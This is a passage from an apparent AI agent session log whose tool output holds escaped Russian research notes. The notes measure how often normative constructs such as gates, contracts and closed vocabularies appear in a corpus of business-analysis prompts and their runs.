|\\n| `MM-3` \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430: \u0432\u0445\u043e\u0434, \u0430\u043a\u0442\u043e\u0440, \u0433\u0435\u0439\u0442\u044b | **0** | 8 |\\n| `MM-4` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 | **0** | **0** |\\n| `OPS-2` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0438 \u0432\u044b\u0445\u043e\u0434\u044b | **0** | **0** |\\n| `Contract` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | **0** | **0** |\\n| `T-1` \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c | \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 | **0** | **0** |\\n| `G-self` \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u0434\u043e \u0432\u044b\u0434\u0430\u0447\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | **0** | 7 |\\n| `G-mach` \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u043e \u0441\u0445\u0435\u043c\u0435 | **0** | 9 |\\n| `G-human` \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 | \u0442\u043e\u0447\u043a\u0430 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | **0** | 7 |\\n| `SK-4` \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 | \u043d\u0430\u0432\u044b\u043a \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f | **0** | 1 |\\n| `EP-G1` \u044d\u0442\u0430\u043b\u043e\u043d (Golden Set) | \u044d\u0442\u0430\u043b\u043e\u043d \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u043a\u0430\u043a \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 | 1 | 15 |\\n| `SK-5` \u0432\u0435\u0440\u0441\u0438\u044f \u0432\u043e frontmatter | \u0432\u0435\u0440\u0441\u0438\u044f \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0432 \u0438\u043c\u0435\u043d\u0438 | 24 | 67 |\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0444\u0430\u043a\u0442.** \u0418\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 **\u0434\u0435\u0441\u044f\u0442\u044c\\n\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432**, \u0447\u0435\u0442\u044b\u0440\u0435 \u2014 \u043d\u0438 \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445,\\n\u043d\u0438 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445. \u0421\u0440\u0435\u0434\u043d\u0435\u0435 \u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 \u2014 **1.04** \u043f\u0440\u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0435 2,\\n\u0438 \u044d\u0442\u0430 \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 `version:` \u0432\u043e frontmatter, \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u043e\u0435 \u043f\u043e\u043b\u0435, \u0430\\n\u043d\u0435 \u043f\u0440\u043e\u0435\u043a\u0442 \u043d\u043e\u0440\u043c\u044b.\\n\\n## 2. \u0427\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0435\u0434\u0443\u0435\u0442\\n\\n1. **\u041a\u043e\u0440\u043f\u0443\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e, \u0430 \u043f\u043e\\n   \u0441\u043e\u0441\u0442\u0430\u0432\u0443.** \u0412\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e `MM-1`\u2026`MM-4`, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e: \u044d\u0442\u0438\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0442\u0430\u043c \u043d\u0435\u0442. \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014\\n   \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430\u00bb \u043d\u0435 \u0441\u0443\u0436\u0430\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u043d\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n   \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u0435\u043b.\\n2. **\u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u0430.** \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b \u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b \u043f\u043e \u0444\u043e\u0440\u043c\u0435\\n   (\u0436\u0451\u0441\u0442\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0448\u0430\u0433\u0438, \u0440\u043e\u043b\u0438), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0438 \u0441\u0438\u043d\u0442\u0435\u0437\u0435 \u00ab\u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443\u00bb \u043e\u043d\u0438 \u0441\u043a\u043b\u043e\u043d\u043d\u044b\\n   \u0434\u0438\u043a\u0442\u043e\u0432\u0430\u0442\u044c **\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443** \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u043d\u0435 \u043d\u0435\u0441\u044f \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0439\\n   \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u041e\u0442\u0441\u044e\u0434\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e\\n   \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u043e\u0431\u0440\u043e\u0441\u043e\u0432\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0437\u0430 (`LG-4` ADR-014).\\n3. **\u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (7\u20139 \u0438\u0437 67) \u2014 \u043d\u0435 \u043a\u043e\u043d\u0442\u0440\u043f\u0440\u0438\u043c\u0435\u0440.** \u042d\u0442\u043e\",\n[2026-09-29T07:47:57.591Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:57.591Z] [INFO]       }\n[2026-09-29T07:47:57.591Z] [INFO]     ]\n[2026-09-29T07:47:57.591Z] [INFO]   },\n[2026-09-29T07:47:57.591Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:57.591Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:57.591Z] [INFO]   \"uuid\": \"3d69efc5-8043-49a9-b9f8-a8e79e798568\",\n[2026-09-29T07:47:57.591Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:57.570Z\",\n[2026-09-29T07:47:57.591Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:57.591Z] [INFO]     \"stdout\": \"=== 2026-08-25-mango-runs-empirical-snapshot.md\\n## 1. \u0427\u0442\u043e \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `524a8eb`. \u0410\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440:\\n[`exp/ba-requirements-normalization-539/aggregate-runs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-requirements-normalization-539/aggregate-runs.py).\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e `metadata.yaml` \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043d\u0451\u043c \u043d\u0435\u0442 \u2014 \u0438\u043d\u0430\u0447\u0435 \u0432\u044b\u0432\u043e\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b \u0431\u044b \u043f\u0440\u0435\u0434\u0440\u0435\u0448\u0451\u043d \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439.\\n\\n## 2. \u0421\u043e\u0441\u0442\u0430\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 56 |\\n| \u041f\u0435\u0440\u0438\u043e\u0434 | 2026-04-10 \u2026 2026-08-25 |\\n| `run_type` | `statistics` 47, `execution` 9 |\\n| `status` | `draft` 29, `works-with-edits` 19, `partial-success` 5, `success` 1, `needs-rework` 1, `experimental` 1 |\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 (\u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043f\u043e\u043b\u044f `process`):\\n\\n| \u041f\u0440\u0435\u0444\u0438\u043a\u0441 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 |\\n| --- | --- | --- |\\n| `task-` | 32 | \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u0442\u0440\u0435\u043a\u0435\u0440\u0430/\u0447\u0430\u0442\u0430 \u2014 \u0443\u0436\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 |\\n| `fr-` | 9 | \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 (\u0430\u043d\u0430\u043b\u0438\u0437, \u0434\u0440\u0430\u0444\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f) |\\n| `bcreq-` | 4 | \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 (business change request) |\\n| `prompt-` | 3 | \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430\u0434 \u0441\u0430\u043c\u0438\u043c\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438, \u0430 \u043d\u0435 \u043d\u0430\u0434 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c |\\n| `tz-`, `usecase-`, `user-`, `gap-`, `kb-`, `industry-`, `session-`, `multichannel-` | \u043f\u043e 1 | \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b\u0435 \u0442\u0438\u043f\u044b |\\n\\n**\u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435.** 32 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 `task-`, \u0442\u043e \u0435\u0441\u0442\u044c \u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u043f\u0440\u043e\u0448\u0451\u043b \u0447\u044c\u044e-\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e. \u0418\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435\\n\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0441\u043b\u0430\u0431\u043e (4 `bcreq-`): \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c **\u0441\u0430\u043c\u043e\u0433\u043e \u0440\u0430\u043d\u043d\u0435\u0433\u043e** \u0443\u0447\u0430\u0441\u0442\u043a\u0430 \u0432\u0445\u043e\u0434\u0430\\n\u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n\\n=== 2026-09-08-artifact-structure-variance-facts.md\\n## 1. \u0427\u0442\u043e \u0438 \u043a\u0430\u043a \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`. \u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c:\\n[`exp/ba-micro-structure-561/measure-artifact-structure.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/measure-artifact-structure.py).\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 `##` \u043a\u0430\u0436\u0434\u043e\u0433\u043e markdown-\u0444\u0430\u0439\u043b\u0430 \u0432 `outputs/`, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0438\u0445 \u043a\\n\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0435 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u0432 **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432** (`S-*`) \u043f\u043e\\n\u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\\n\u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u0433\u043e \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0438, \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u043e\u0439\\n`SLOT_RULES` \u0432 \u0448\u0430\u043f\u043a\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e.\\n\\n\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u2192 \u0441\u043b\u043e\u0442\u00bb \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 **\u0444\u043e\u0440\u043c\u0443** \u043e\u0442 **\u0441\u043c\u044b\u0441\u043b\u0430**: \u0434\u0432\u0430\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438 (`1. \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439` \u0438 `1. \u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f`)\\n\u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 `S-GLOSSARY`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435\\n\u043d\u0438\u0436\u0435, \u2014 \u044d\u0442\u043e \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u0441\u043c\u044b\u0441\u043b\u0443, \u0430 \u043d\u0435 \u043f\u043e \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432.\\n\\n## 2. \u0421\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u0430 125 \u00ab\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438\u00bb \u0438 72 % \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u0420\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u0440\u0438\u0447\u0438\u043d\u0443: \u0432 `outputs/` \u043b\u0435\u0436\u0430\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\\n\u0444\u0430\u0439\u043b\u043e\u0432, \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0442\u0443 \u0436\u0435 \u043b\u0435\u043a\u0441\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0447\u0442\u043e \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 `classify_doc_kind()` \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u0438\u0445; \u0432\u0441\u0435 \u0442\u0440\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n`artifact-structure.json`, \u043d\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0442\u0440\u0435\u0442\u044c\u0435\u043c\u0443.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0424\u0430\u0439\u043b\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e |\\n| --- | --- | --- |\\n| `run-journal` | 63 | \u0436\u0443\u0440\u043d\u0430\u043b \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u044d\u043f\u0438\u0437\u043e\u0434\u044b, \u0432\u0435\u0440\u0434\u0438\u043a\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e |\\n| `analysis-note` | 45 | \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| `requirement-document` | 17 | **\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0411\u0410** \u2014 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0437\u0430\u043c\u0435\u0440\u0430 |\\n\\n\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043e 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432; markdown-\u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043b\u0435\u043a\u0441\u0438\u043a\u043e\u0439 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 125.\\n\\n=== 2026-09-09-legacy-normative-influence-facts.md\\n## 1. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435, \u0430 \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\\n\u0448\u0438\u0440\u043e\u043a\u0438\u0435 (RU + EN, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0430 **\u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443\\n\u0437\u0430\u0432\u044b\u0448\u0435\u043d\u0438\u044f** \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430.\\n\\n| \u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f | \u0427\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 | \u041f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 